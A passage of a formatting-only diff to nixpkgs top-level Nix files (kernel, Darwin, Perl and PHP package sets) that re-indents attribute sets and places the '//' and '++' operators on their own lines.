       nvchecker.overridePythonAttrs (oldAttrs: {
         propagatedBuildInputs =
-          oldAttrs.propagatedBuildInputs
-          ++ lib.flatten (builtins.attrValues oldAttrs.optional-dependencies);
+          oldAttrs.propagatedBuildInputs ++ lib.flatten (builtins.attrValues oldAttrs.optional-dependencies);
       })
     );
 
@@ -6231,7 +6230,8 @@ with pkgs;
             nixSupport
             zlib
             ;
-        } // extraArgs;
+        }
+        // extraArgs;
       in
       self
     );
@@ -6258,7 +6258,8 @@ with pkgs;
           noLibc = (self.libc == null);
 
           inherit bintools libc;
-        } // extraArgs;
+        }
+        // extraArgs;
       in
       self
     );
@@ -16463,7 +16464,8 @@ with pkgs;
               config.nixpkgs.localSystem = lib.mkDefault stdenv.hostPlatform;
             }
           )
-        ] ++ (if builtins.isList configuration then configuration else [ configuration ]);
+        ]
+        ++ (if builtins.isList configuration then configuration else [ configuration ]);
 
         # The system is inherited from the current pkgs above.
         # Set it to null, to remove the "legacy" entrypoint's non-hermetic default.
diff --git a/pkgs/top-level/darwin-aliases.nix b/pkgs/top-level/darwin-aliases.nix
index 2e7849c2fefd..d2cc6f94a960 100644
--- a/pkgs/top-level/darwin-aliases.nix
+++ b/pkgs/top-level/darwin-aliases.nix
@@ -55,45 +55,44 @@ let
 
   apple_sdk = apple_sdk_11_0;
 
-  stubs =
-    {
-      inherit apple_sdk apple_sdk_11_0 apple_sdk_12_3;
-    }
-    // lib.genAttrs [
-      "CF"
-      "CarbonHeaders"
-      "CommonCrypto"
-      "CoreSymbolication"
-      "IOKit"
-      "Libc"
-      "Libinfo"
-      "Libm"
-      "Libnotify"
-      "Librpcsvc"
-      "Libsystem"
-      "LibsystemCross"
-      "Security"
-      "architecture"
-      "cf-private"
-      "configd"
-      "configdHeaders"
-      "darwin-stubs"
-      "dtrace"
-      "eap8021x"
-      "hfs"
-      "hfsHeaders"
-      "launchd"
-      "libclosure"
-      "libdispatch"
-      "libmalloc"
-      "libobjc"
-      "libplatform"
-      "libpthread"
-      "mDNSResponder"
-      "objc4"
-      "ppp"
-      "xnu"
-    ] (mkStub "darwin" "11.0");
+  stubs = {
+    inherit apple_sdk apple_sdk_11_0 apple_sdk_12_3;
+  }
+  // lib.genAttrs [
+    "CF"
+    "CarbonHeaders"
+    "CommonCrypto"
+    "CoreSymbolication"
+    "IOKit"
+    "Libc"
+    "Libinfo"
+    "Libm"
+    "Libnotify"
+    "Librpcsvc"
+    "Libsystem"
+    "LibsystemCross"
+    "Security"
+    "architecture"
+    "cf-private"
+    "configd"
+    "configdHeaders"
+    "darwin-stubs"
+    "dtrace"
+    "eap8021x"
+    "hfs"
+    "hfsHeaders"
+    "launchd"
+    "libclosure"
+    "libdispatch"
+    "libmalloc"
+    "libobjc"
+    "libplatform"
+    "libpthread"
+    "mDNSResponder"
+    "objc4"
+    "ppp"
+    "xnu"
+  ] (mkStub "darwin" "11.0");
 in
 
 stubs
diff --git a/pkgs/top-level/darwin-packages.nix b/pkgs/top-level/darwin-packages.nix
index 9d656d33c338..935397ac6fb0 100644
--- a/pkgs/top-level/darwin-packages.nix
+++ b/pkgs/top-level/darwin-packages.nix
@@ -190,7 +190,8 @@ makeScopeWithSplicing' {
             configuration = {
               imports = [
                 ../../nixos/modules/profiles/nix-builder-vm.nix
-              ] ++ modules;
+              ]
+              ++ modules;
 
               # If you need to override this, consider starting with the right Nixpkgs
               # in the first place, ie change `pkgs` in `pkgs.darwin.linux-builder`.
diff --git a/pkgs/top-level/haxe-packages.nix b/pkgs/top-level/haxe-packages.nix
index 53d0119d9e11..23dd1a0f906e 100644
--- a/pkgs/top-level/haxe-packages.nix
+++ b/pkgs/top-level/haxe-packages.nix
@@ -75,7 +75,8 @@ let
           license = lib.licenses.bsd2;
           platforms = lib.platforms.all;
           description = throw "please write meta.description";
-        } // attrs.meta;
+        }
+        // attrs.meta;
       }
     );
 in
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index be373bc68e26..0dbfdf4c6e16 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -749,25 +749,24 @@ in
 
   hardenedPackagesFor = kernel: overrides: packagesFor (hardenedKernelFor kernel overrides);
 
-  vanillaPackages =
-    {
-      # recurse to build modules for the kernels
-      linux_5_4 = recurseIntoAttrs (packagesFor kernels.linux_5_4);
-      linux_5_10 = recurseIntoAttrs (packagesFor kernels.linux_5_10);
-      linux_5_15 = recurseIntoAttrs (packagesFor kernels.linux_5_15);
-      linux_6_1 = recurseIntoAttrs (packagesFor kernels.linux_6_1);
-      linux_6_6 = recurseIntoAttrs (packagesFor kernels.linux_6_6);
-      linux_6_12 = recurseIntoAttrs (packagesFor kernels.linux_6_12);
-      linux_6_13 = recurseIntoAttrs (packagesFor kernels.linux_6_13);
-      linux_6_14 = recurseIntoAttrs (packagesFor kernels.linux_6_14);
-      linux_6_15 = recurseIntoAttrs (packagesFor kernels.linux_6_15);
-    }
-    // lib.optionalAttrs config.allowAliases {
-      linux_4_19 = throw "linux 4.19 was removed because it will reach its end of life within 24.11"; # Added 2024-09-21
-      linux_6_9 = throw "linux 6.9 was removed because it reached its end of life upstream"; # Added 2024-08-02
-      linux_6_10 = throw "linux 6.10 was removed because it reached its end of life upstream"; # Added 2024-10-23
-      linux_6_11 = throw "linux 6.11 was removed because it reached its end of life upstream"; # Added 2025-03-23
-    };
+  vanillaPackages = {
+    # recurse to build modules for the kernels
+    linux_5_4 = recurseIntoAttrs (packagesFor kernels.linux_5_4);
+    linux_5_10 = recurseIntoAttrs (packagesFor kernels.linux_5_10);
+    linux_5_15 = recurseIntoAttrs (packagesFor kernels.linux_5_15);
+    linux_6_1 = recurseIntoAttrs (packagesFor kernels.linux_6_1);
+    linux_6_6 = recurseIntoAttrs (packagesFor kernels.linux_6_6);
+    linux_6_12 = recurseIntoAttrs (packagesFor kernels.linux_6_12);
+    linux_6_13 = recurseIntoAttrs (packagesFor kernels.linux_6_13);
+    linux_6_14 = recurseIntoAttrs (packagesFor kernels.linux_6_14);
+    linux_6_15 = recurseIntoAttrs (packagesFor kernels.linux_6_15);
+  }
+  // lib.optionalAttrs config.allowAliases {
+    linux_4_19 = throw "linux 4.19 was removed because it will reach its end of life within 24.11"; # Added 2024-09-21
+    linux_6_9 = throw "linux 6.9 was removed because it reached its end of life upstream"; # Added 2024-08-02
+    linux_6_10 = throw "linux 6.10 was removed because it reached its end of life upstream"; # Added 2024-10-23
+    linux_6_11 = throw "linux 6.11 was removed because it reached its end of life upstream"; # Added 2025-03-23
+  };
 
   rtPackages = {
     # realtime kernel packages
@@ -826,17 +825,16 @@ in
     }
   );
 
-  packageAliases =
-    {
-      linux_default = packages.linux_6_12;
-      # Update this when adding the newest kernel major version!
-      linux_latest = packages.linux_6_15;
-      linux_rt_default = packages.linux_rt_5_15;
-      linux_rt_latest = packages.linux_rt_6_6;
-    }
-    // lib.optionalAttrs config.allowAliases {
-      linux_mptcp = throw "'linux_mptcp' has been moved to https://github.com/teto/mptcp-flake";
-    };
+  packageAliases = {
+    linux_default = packages.linux_6_12;
+    # Update this when adding the newest kernel major version!
+    linux_latest = packages.linux_6_15;
+    linux_rt_default = packages.linux_rt_5_15;
+    linux_rt_latest = packages.linux_rt_6_6;
+  }
+  // lib.optionalAttrs config.allowAliases {
+    linux_mptcp = throw "'linux_mptcp' has been moved to https://github.com/teto/mptcp-flake";
+  };
 
   manualConfig = callPackage ../os-specific/linux/kernel/manual-config.nix { };
 
@@ -871,12 +869,13 @@ in
     }:
     stdenvNoCC.mkDerivation {
       inherit name src;
-      depsBuildBuild =
-        [ buildPackages.stdenv.cc ]
-        ++ lib.optionals (lib.versionAtLeast version "4.16") [
-          buildPackages.bison
-          buildPackages.flex
-        ];
+      depsBuildBuild = [
+        buildPackages.stdenv.cc
+      ]
+      ++ lib.optionals (lib.versionAtLeast version "4.16") [
+        buildPackages.bison
+        buildPackages.flex
+      ];
       patches = map (p: p.patch) kernelPatches; # Patches may include new configs.
       postPatch = ''
         patchShebangs scripts/
diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index ead6636a0f00..e2288c5109ac 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -1278,7 +1278,8 @@ with self;
       PDFAPI2
       StringInterpolateNamed
       TextLayout
-    ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ Wx ];
+    ]
+    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ Wx ];
     nativeBuildInputs = lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
 
     # Delete tests that fail when version env var is set, see
@@ -18371,21 +18372,21 @@ with self;
     ];
     nativeBuildInputs = [
       pkgs.makeWrapper
-    ] ++ lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin shortenPerlShebang;
     makeMakerFlags = [
       "TEXMF=\${tex}"
       "NOMKTEXLSR"
     ];
     # shebangs need to be patched before executables are copied to $out
-    preBuild =
-      ''
-        patchShebangs bin/
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        for file in bin/*; do
-          shortenPerlShebang "$file"
-        done
-      '';
+    preBuild = ''
+      patchShebangs bin/
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      for file in bin/*; do
+        shortenPerlShebang "$file"
+      done
+    '';
     postInstall = ''
       for file in latexmlc latexmlmath latexmlpost ; do
         # add runtime dependencies that cause silent failures when missing
@@ -26716,14 +26717,13 @@ with self;
     # Most tests are skipped as no server is available in the sandbox.
     # `t/35_log.t` seems to suffer from a race condition; remove it.  See
     # https://github.com/NixOS/nixpkgs/pull/104889#issuecomment-737144513
-    preCheck =
-      ''
-        rm t/35_log.t
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        rm t/30_connect.t
-        rm t/45_class.t
-      '';
+    preCheck = ''
+      rm t/35_log.t
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      rm t/30_connect.t
+      rm t/45_class.t
+    '';
     meta = {
       description = "Perl extension for Apache ZooKeeper";
       homepage = "https://github.com/mark-5/p5-net-zookeeper";
@@ -27528,19 +27528,18 @@ with self;
       (lib.getDev mesa_glu)
     ];
 
-    buildInputs =
-      [
-        DevelChecklib
-        TestDeep
-        TestException
-        TestWarn
-      ]
-      ++ (with pkgs; [
-        gsl
-        libglut
-        xorg.libXmu
-        xorg.libXi
-      ]);
+    buildInputs = [
+      DevelChecklib
+      TestDeep
+      TestException
+      TestWarn
+    ]
+    ++ (with pkgs; [
+      gsl
+      libglut
+      xorg.libXmu
+      xorg.libXi
+    ]);
 
     propagatedBuildInputs = [
       AstroFITSHeader
@@ -32586,15 +32585,14 @@ with self;
     buildPhase = ''
       perl Makefile.PL --tclsh "${pkgs.tk.tcl}/bin/tclsh" INSTALL_BASE=$out --no-test-for-tk
     '';
-    postInstall =
-      ''
-        mkdir -p $out/lib/perl5/site_perl
-        mv $out/lib/perl5/Tcl $out/lib/perl5/site_perl/
-        mv $out/lib/perl5/auto $out/lib/perl5/site_perl/
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        mv $out/lib/perl5/darwin-thread-multi-2level $out/lib/perl5/site_perl/
-      '';
+    postInstall = ''
+      mkdir -p $out/lib/perl5/site_perl
+      mv $out/lib/perl5/Tcl $out/lib/perl5/site_perl/
+      mv $out/lib/perl5/auto $out/lib/perl5/site_perl/
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      mv $out/lib/perl5/darwin-thread-multi-2level $out/lib/perl5/site_perl/
+    '';
     meta = {
       description = "Interface to Tcl/Tk with Perl/Tk compatible syntax";
       license = with lib.licenses; [
@@ -38431,18 +38429,17 @@ with self;
       hash = "sha256-opvz8Aq5ye4EIYFU4K/I95m/I2dOuZwantTeH0BZpI0=";
     };
     SKIP_SAX_INSTALL = 1;
-    buildInputs =
+    buildInputs = [
+      AlienBuild
+      AlienLibxml2
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin (
+      with pkgs;
       [
-        AlienBuild
-        AlienLibxml2
+        libiconv
+        zlib
       ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin (
-        with pkgs;
-        [
-          libiconv
-          zlib
-        ]
-      );
+    );
     patches = [
       # https://github.com/shlomif/perl-XML-LibXML/pull/87
       ../development/perl-modules/XML-LibXML-fix-tests-libxml-2.13.0.patch
diff --git a/pkgs/top-level/php-packages.nix b/pkgs/top-level/php-packages.nix
index 5fa6bf77e42b..c66e68551605 100644
--- a/pkgs/top-level/php-packages.nix
+++ b/pkgs/top-level/php-packages.nix
@@ -210,7 +210,8 @@ lib.makeScope pkgs.newScope (
               license
               platforms
               ;
-          } // args.meta or { };
+          }
+          // args.meta or { };
         }
       )
     );
@@ -218,50 +219,49 @@ lib.makeScope pkgs.newScope (
     php = phpPackage;
 
     # This is a set of interactive tools based on PHP.
-    tools =
-      {
-        box = callPackage ../development/php-packages/box { };
+    tools = {
+      box = callPackage ../development/php-packages/box { };
 
-        castor = callPackage ../development/php-packages/castor { };
+      castor = callPackage ../development/php-packages/castor { };
 
-        composer = callPackage ../development/php-packages/composer { };
+      composer = callPackage ../development/php-packages/composer { };
 
-        composer-local-repo-plugin = callPackage ../development/php-packages/composer-local-repo-plugin { };
+      composer-local-repo-plugin = callPackage ../development/php-packages/composer-local-repo-plugin { };
 
-        cyclonedx-php-composer = callPackage ../development/php-packages/cyclonedx-php-composer { };
+      cyclonedx-php-composer = callPackage ../development/php-packages/cyclonedx-php-composer { };
 
-        deployer = callPackage ../development/php-packages/deployer { };
+      deployer = callPackage ../development/php-packages/deployer { };
 
-        grumphp = callPackage ../development/php-packages/grumphp { };
+      grumphp = callPackage ../development/php-packages/grumphp { };
 
-        phan = callPackage ../development/php-packages/phan { };
+      phan = callPackage ../development/php-packages/phan { };
 
-        phing = callPackage ../development/php-packages/phing { };
+      phing = callPackage ../development/php-packages/phing { };
 
-        phive = callPackage ../development/php-packages/phive { };
+      phive = callPackage ../development/php-packages/phive { };
 
-        php-codesniffer = callPackage ../development/php-packages/php-codesniffer { };
+      php-codesniffer = callPackage ../development/php-packages/php-codesniffer { };
 
-        php-cs-fixer = callPackage ../development/php-packages/php-cs-fixer { };
+      php-cs-fixer = callPackage ../development/php-packages/php-cs-fixer { };
 
-        php-parallel-lint = callPackage ../development/php-packages/php-parallel-lint { };
+      php-parallel-lint = callPackage ../development/php-packages/php-parallel-lint { };
 
-        phpinsights = callPackage ../development/php-packages/phpinsights { };
+      phpinsights = callPackage ../development/php-packages/phpinsights { };
 
-        phpmd = callPackage ../development/php-packages/phpmd { };
+      phpmd = callPackage ../development/php-packages/phpmd { };
 
-        phpspy = callPackage ../development/php-packages/phpspy { };
+      phpspy = callPackage ../development/php-packages/phpspy { };
 
-        phpstan = callPackage ../development/php-packages/phpstan { };
+      phpstan = callPackage ../development/php-packages/phpstan { };
 
-        psalm = callPackage ../development/php-packages/psalm { };
+      psalm = callPackage ../development/php-packages/psalm { };
 
-        psysh = callPackage ../development/php-packages/psysh { };
-      }
-      // lib.optionalAttrs config.allowAliases {
-        phpcbf = throw "`phpcbf` is now deprecated, use `php-codesniffer` instead which contains both `phpcs` and `phpcbf`.";
-        phpcs = throw "`phpcs` is now deprecated, use `php-codesniffer` instead which contains both `phpcs` and `phpcbf`.";
-      };
+      psysh = callPackage ../development/php-packages/psysh { };
+    }
+    // lib.optionalAttrs config.allowAliases {
+      phpcbf = throw "`phpcbf` is now deprecated, use `php-codesniffer` instead which contains both `phpcs` and `phpcbf`.";
+      phpcs = throw "`phpcs` is now deprecated, use `php-codesniffer` instead which contains both `phpcs` and `phpcbf`.";
+    };
 
     # This is a set of PHP extensions meant to be used in php.buildEnv
     # or php.withExtensions to extend the functionality of the PHP
@@ -415,430 +415,429 @@ lib.makeScope pkgs.newScope (
           # want to build.
           #
           # These will be passed as arguments to mkExtension above.
-          extensionData =
-            [
-              { name = "bcmath"; }
-              {
-                name = "bz2";
-                buildInputs = [ bzip2 ];
-                configureFlags = [ "--with-bz2=${bzip2.dev}" ];
-              }
-              { name = "calendar"; }
-              {
-                name = "ctype";
-                postPatch =
-                  lib.optionalString (stdenv.hostPlatform.isDarwin && lib.versionAtLeast php.version "8.2")
-                    # Broken test on aarch64-darwin
-                    ''
-                      rm ext/ctype/tests/lc_ctype_inheritance.phpt
-                    '';
-              }
-              {
-                name = "curl";
-                buildInputs = [ curl ];
-                configureFlags = [ "--with-curl=${curl.dev}" ];
-                doCheck = false;
-              }
-              { name = "dba"; }
-              {
-                name = "dom";
-                buildInputs = [ libxml2 ];
-                configureFlags = [
-                  "--enable-dom"
-                ];
-              }
-              {
-                name = "enchant";
-                buildInputs = [ enchant2 ];
-                configureFlags = [ "--with-enchant" ];
-                doCheck = false;
-              }
-              {
-                name = "exif";
-                doCheck = false;
-              }
-              {
-                name = "ffi";
-                buildInputs = [ libffi ];
-              }
-              {
-                name = "fileinfo";
-                buildInputs = [ pcre2 ];
-              }
-              {
-                name = "filter";
-                buildInputs = [ pcre2 ];
-              }
-              {
-                name = "ftp";
-                buildInputs = [ openssl ];
-              }
-              {
-                name = "gd";
-                buildInputs = [
-                  zlib
-                  gd
-                ];
-                configureFlags = [
-                  "--enable-gd"
-                  "--with-external-gd=${gd.dev}"
-                  "--enable-gd-jis-conv"
-                ];
-                doCheck = false;
-              }
-              {
-                name = "gettext";
-                buildInputs = [ gettext ];
-                postPhpize = ''substituteInPlace configure --replace-fail 'as_fn_error $? "Cannot locate header file libintl.h" "$LINENO" 5' ':' '';
-                configureFlags = [ "--with-gettext=${gettext}" ];
-              }
-              {
-                name = "gmp";
-                buildInputs = [ gmp ];
-                configureFlags = [ "--with-gmp=${gmp.dev}" ];
-              }
-              {
-                name = "iconv";
-                buildInputs = [ libiconv ];
-                configureFlags = [ "--with-iconv" ];
-                # Some other extensions support separate libdirs, but iconv does not. This causes problems with detecting
-                # Darwin’s libiconv because it has separate outputs. Adding `-liconv` works around the issue.
-                env = lib.optionalAttrs stdenv.hostPlatform.isDarwin { NIX_LDFLAGS = "-liconv"; };
-                doCheck = stdenv.hostPlatform.isLinux;
-              }
-              {
-                name = "intl";
-                buildInputs = [ icu73 ];
-              }
-              {
-                name = "ldap";
-                buildInputs = [
-                  openldap
-                  cyrus_sasl
-                ];
-                configureFlags =
-                  [
-                    "--with-ldap"
-                    "LDAP_DIR=${openldap.dev}"
-                    "LDAP_INCDIR=${openldap.dev}/include"
-                    "LDAP_LIBDIR=${openldap.out}/lib"
-                  ]
-                  ++ lib.optionals stdenv.hostPlatform.isLinux [
-                    "--with-ldap-sasl=${cyrus_sasl.dev}"
-                  ];
-                doCheck = false;
-              }
-              {
-                name = "mbstring";
-                buildInputs = [
-                  oniguruma
-                  pcre2
-                ];
-                doCheck = false;
-              }
-              {
-                name = "mysqli";
-                internalDeps = [ php.extensions.mysqlnd ];
-                configureFlags = [
-                  "--with-mysqli=mysqlnd"
-                  "--with-mysql-sock=/run/mysqld/mysqld.sock"
-                ];
-                doCheck = false;
-              }
-              {
-                name = "mysqlnd";
-                buildInputs = [
-                  zlib
-                  openssl
-                ];
-                configureFlags = [ "--with-mysqlnd-ssl" ];
-                # The configure script doesn't correctly add library link
-                # flags, so we add them to the variable used by the Makefile
-                # when linking.
-                MYSQLND_SHARED_LIBADD = "-lz -lssl -lcrypto";
-                # The configure script builds a config.h which is never
-                # included. Let's include it in the main header file
-                # included by all .c-files.
-                patches = [
-                  (pkgs.writeText "mysqlnd_config.patch" ''
-                    --- a/ext/mysqlnd/mysqlnd.h
-                    +++ b/ext/mysqlnd/mysqlnd.h
-                    @@ -1,3 +1,6 @@
-                    +#ifdef HAVE_CONFIG_H
-                    +#include "config.h"
-                    +#endif
-                     /*
-                       +----------------------------------------------------------------------+
-                       | Copyright (c) The PHP Group                                          |
-                  '')
-                ];
-              }
-              {
-                name = "opcache";
-                buildInputs =
-                  [ pcre2 ]
-                  ++ lib.optional (
-                    !stdenv.hostPlatform.isDarwin && lib.meta.availableOn stdenv.hostPlatform valgrind
-                  ) valgrind.dev;
-                configureFlags = lib.optional php.ztsSupport "--disable-opcache-jit";
-                zendExtension = true;
-                postPatch = lib.optionalString stdenv.hostPlatform.isDarwin ''
-                  # Tests are flaky on darwin
-                  rm ext/opcache/tests/blacklist.phpt
-                  rm ext/opcache/tests/bug66338.phpt
-                  rm ext/opcache/tests/bug78106.phpt
-                  rm ext/opcache/tests/issue0115.phpt
-                  rm ext/opcache/tests/issue0149.phpt
-                  rm ext/opcache/tests/revalidate_path_01.phpt
-                '';
-                # Tests launch the builtin webserver.
-                __darwinAllowLocalNetworking = true;
-              }
-              {
-                name = "openssl";
-                buildInputs = [ openssl ];
-                configureFlags = [ "--with-openssl" ];
-                doCheck = false;
-              }
-              # This provides a legacy OpenSSL PHP extension
-              # For situations where OpenSSL 3 do not support a set of features
-              # without a specific openssl.cnf file
-              {
-                name = "openssl-legacy";
-                extName = "openssl";
-                buildInputs = [ openssl_1_1 ];
-                configureFlags = [ "--with-openssl" ];
-                doCheck = false;
-              }
-              { name = "pcntl"; }
-              {
-                name = "pdo";
-                doCheck = false;
-              }
-              {
-                name = "pdo_dblib";
-                internalDeps = [ php.extensions.pdo ];
-                configureFlags = [ "--with-pdo-dblib=${freetds}" ];
-                meta.broken = stdenv.hostPlatform.isDarwin;
-                doCheck = false;
-              }
-              {
-                name = "pdo_mysql";
-                internalDeps = with php.extensions; [
-                  pdo
-                  mysqlnd
-                ];
-                configureFlags = [
-                  "--with-pdo-mysql=mysqlnd"
-                  "PHP_MYSQL_SOCK=/run/mysqld/mysqld.sock"
-                ];
-                doCheck = false;
-              }
-              {
-                name = "pdo_odbc";
-                internalDeps = [ php.extensions.pdo ];
-                buildInputs = [ unixODBC ];
-                configureFlags = [ "--with-pdo-odbc=unixODBC,${unixODBC}" ];
-                doCheck = false;
-              }
-              {
-                name = "pdo_pgsql";
-                internalDeps = [ php.extensions.pdo ];
-                configureFlags = [ "--with-pdo-pgsql=${libpq.pg_config}" ];
-                doCheck = false;
-              }
-              {
-                name = "pdo_sqlite";
-                internalDeps = [ php.extensions.pdo ];
-                buildInputs = [ sqlite ];
-                configureFlags = [ "--with-pdo-sqlite=${sqlite.dev}" ];
-                doCheck = false;
-              }
-              {
-                name = "pgsql";
-                buildInputs = [
-                  pcre2
-                ];
-                configureFlags = [ "--with-pgsql=${libpq.pg_config}" ];
-                doCheck = false;
-              }
-              {
-                name = "posix";
-                doCheck = false;
-              }
-              {
-                name = "readline";
-                buildInputs = [
-                  readline
-                ];
-                configureFlags = [
-                  "--with-readline=${readline.dev}"
-                ];
-                postPatch = ''
-                  # Fix `--with-readline` option not being available.
-                  # `PHP_ALWAYS_SHARED` generated by phpize enables all options
-                  # without the possibility to override them. But when `--with-libedit`
-                  # is enabled, `--with-readline` is not registered.
-                  echo '
-                  AC_DEFUN([PHP_ALWAYS_SHARED],[
-                    test "[$]$1" != "no" && ext_shared=yes
-                  ])dnl
-                  ' | cat - ext/readline/config.m4 > ext/readline/config.m4.tmp
-                  mv ext/readline/config.m4{.tmp,}
-                '';
-                doCheck = false;
-              }
-              {
-                name = "session";
-                doCheck = false;
-              }
-              { name = "shmop"; }
-              {
-                name = "simplexml";
-                buildInputs = [
-                  libxml2
-                  pcre2
-                ];
-                configureFlags = [
-                  "--enable-simplexml"
-                ];
-              }
-              {
-                name = "snmp";
-                buildInputs = [
-                  net-snmp
-                  openssl
-                ];
-                configureFlags = [ "--with-snmp" ];
-                doCheck = false;
-              }
-              {
-                name = "soap";
-                buildInputs = [ libxml2 ];
-                configureFlags = [
-                  "--enable-soap"
-                ];
-                # Some tests are causing issues in the Darwin sandbox with issues
-                # such as
-                #   Unknown: php_network_getaddresses: getaddrinfo for localhost failed: nodename nor servname provided
-                doCheck = !stdenv.hostPlatform.isDarwin && lib.versionOlder php.version "8.4";
-                internalDeps = [ php.extensions.session ];
-              }
-              {
-                name = "sockets";
-                doCheck = false;
-              }
-              {
-                name = "sodium";
-                buildInputs = [ libsodium ];
-              }
-              {
-                name = "sqlite3";
-                buildInputs = [ sqlite ];
+          extensionData = [
+            { name = "bcmath"; }
+            {
+              name = "bz2";
+              buildInputs = [ bzip2 ];
+              configureFlags = [ "--with-bz2=${bzip2.dev}" ];
+            }
+            { name = "calendar"; }
+            {
+              name = "ctype";
+              postPatch =
+                lib.optionalString (stdenv.hostPlatform.isDarwin && lib.versionAtLeast php.version "8.2")
+                  # Broken test on aarch64-darwin
+                  ''
+                    rm ext/ctype/tests/lc_ctype_inheritance.phpt
+                  '';
+            }
+            {
+              name = "curl";
+              buildInputs = [ curl ];
+              configureFlags = [ "--with-curl=${curl.dev}" ];
+              doCheck = false;
+            }
+            { name = "dba"; }
+            {
+              name = "dom";
+              buildInputs = [ libxml2 ];
+              configureFlags = [
+                "--enable-dom"
+              ];
+            }
+            {
+              name = "enchant";
+              buildInputs = [ enchant2 ];
+              configureFlags = [ "--with-enchant" ];
+              doCheck = false;
+            }
+            {
+              name = "exif";
+              doCheck = false;
+            }
+            {
+              name = "ffi";
+              buildInputs = [ libffi ];
+            }
+            {
+              name = "fileinfo";
+              buildInputs = [ pcre2 ];
+            }
+            {
+              name = "filter";
+              buildInputs = [ pcre2 ];
+            }
+            {
+              name = "ftp";
+              buildInputs = [ openssl ];
+            }
+            {
+              name = "gd";
+              buildInputs = [
+                zlib
+                gd
+              ];
+              configureFlags = [
+                "--enable-gd"
+                "--with-external-gd=${gd.dev}"
+                "--enable-gd-jis-conv"
+              ];
+              doCheck = false;
+            }
+            {
+              name = "gettext";
+              buildInputs = [ gettext ];
+              postPhpize = ''substituteInPlace configure --replace-fail 'as_fn_error $? "Cannot locate header file libintl.h" "$LINENO" 5' ':' '';
+              configureFlags = [ "--with-gettext=${gettext}" ];
+            }
+            {
+              name = "gmp";
+              buildInputs = [ gmp ];
+              configureFlags = [ "--with-gmp=${gmp.dev}" ];
+            }
+            {
+              name = "iconv";
+              buildInputs = [ libiconv ];
+              configureFlags = [ "--with-iconv" ];
+              # Some other extensions support separate libdirs, but iconv does not. This causes problems with detecting
+              # Darwin’s libiconv because it has separate outputs. Adding `-liconv` works around the issue.
+              env = lib.optionalAttrs stdenv.hostPlatform.isDarwin { NIX_LDFLAGS = "-liconv"; };
+              doCheck = stdenv.hostPlatform.isLinux;
+            }
+            {
+              name = "intl";
+              buildInputs = [ icu73 ];
+            }
+            {
+              name = "ldap";
+              buildInputs = [
+                openldap
+                cyrus_sasl
+              ];
+              configureFlags = [
+                "--with-ldap"
+                "LDAP_DIR=${openldap.dev}"
+                "LDAP_INCDIR=${openldap.dev}/include"
+                "LDAP_LIBDIR=${openldap.out}/lib"
+              ]
+              ++ lib.optionals stdenv.hostPlatform.isLinux [
+                "--with-ldap-sasl=${cyrus_sasl.dev}"
+              ];
+              doCheck = false;
+            }
+            {
+              name = "mbstring";
+              buildInputs = [
+                oniguruma
+                pcre2
+              ];
+              doCheck = false;
+            }
+            {
+              name = "mysqli";
+              internalDeps = [ php.extensions.mysqlnd ];
+              configureFlags = [
+                "--with-mysqli=mysqlnd"
+                "--with-mysql-sock=/run/mysqld/mysqld.sock"
+              ];
+              doCheck = false;
+            }
+            {
+              name = "mysqlnd";
+              buildInputs = [
+                zlib
+                openssl
+              ];
+              configureFlags = [ "--with-mysqlnd-ssl" ];
+              # The configure script doesn't correctly add library link
+              # flags, so we add them to the variable used by the Makefile
+              # when linking.
+              MYSQLND_SHARED_LIBADD = "-lz -lssl -lcrypto";
+              # The configure script builds a config.h which is never
+              # included. Let's include it in the main header file
+              # included by all .c-files.
+              patches = [
+                (pkgs.writeText "mysqlnd_config.patch" ''
+                  --- a/ext/mysqlnd/mysqlnd.h
+                  +++ b/ext/mysqlnd/mysqlnd.h
+                  @@ -1,3 +1,6 @@
+                  +#ifdef HAVE_CONFIG_H
+                  +#include "config.h"
+                  +#endif
+                   /*
+                     +----------------------------------------------------------------------+
+                     | Copyright (c) The PHP Group                                          |
+                '')
+              ];
+            }
+            {
+              name = "opcache";
+              buildInputs = [
+                pcre2
+              ]
+              ++ lib.optional (
+                !stdenv.hostPlatform.isDarwin && lib.meta.availableOn stdenv.hostPlatform valgrind
+              ) valgrind.dev;
+              configureFlags = lib.optional php.ztsSupport "--disable-opcache-jit";
+              zendExtension = true;
+              postPatch = lib.optionalString stdenv.hostPlatform.isDarwin ''
+                # Tests are flaky on darwin
+                rm ext/opcache/tests/blacklist.phpt
+                rm ext/opcache/tests/bug66338.phpt
+                rm ext/opcache/tests/bug78106.phpt
+                rm ext/opcache/tests/issue0115.phpt
+                rm ext/opcache/tests/issue0149.phpt
+                rm ext/opcache/tests/revalidate_path_01.phpt
+              '';
+              # Tests launch the builtin webserver.
+              __darwinAllowLocalNetworking = true;
+            }
+            {
+              name = "openssl";
+              buildInputs = [ openssl ];
+              configureFlags = [ "--with-openssl" ];
+              doCheck = false;
+            }
+            # This provides a legacy OpenSSL PHP extension
+            # For situations where OpenSSL 3 do not support a set of features
+            # without a specific openssl.cnf file
+            {
+              name = "openssl-legacy";
+              extName = "openssl";
+              buildInputs = [ openssl_1_1 ];
+              configureFlags = [ "--with-openssl" ];
+              doCheck = false;
+            }
+            { name = "pcntl"; }
+            {
+              name = "pdo";
+              doCheck = false;
+            }
+            {
+              name = "pdo_dblib";
+              internalDeps = [ php.extensions.pdo ];
+              configureFlags = [ "--with-pdo-dblib=${freetds}" ];
+              meta.broken = stdenv.hostPlatform.isDarwin;
+              doCheck = false;
+            }
+            {
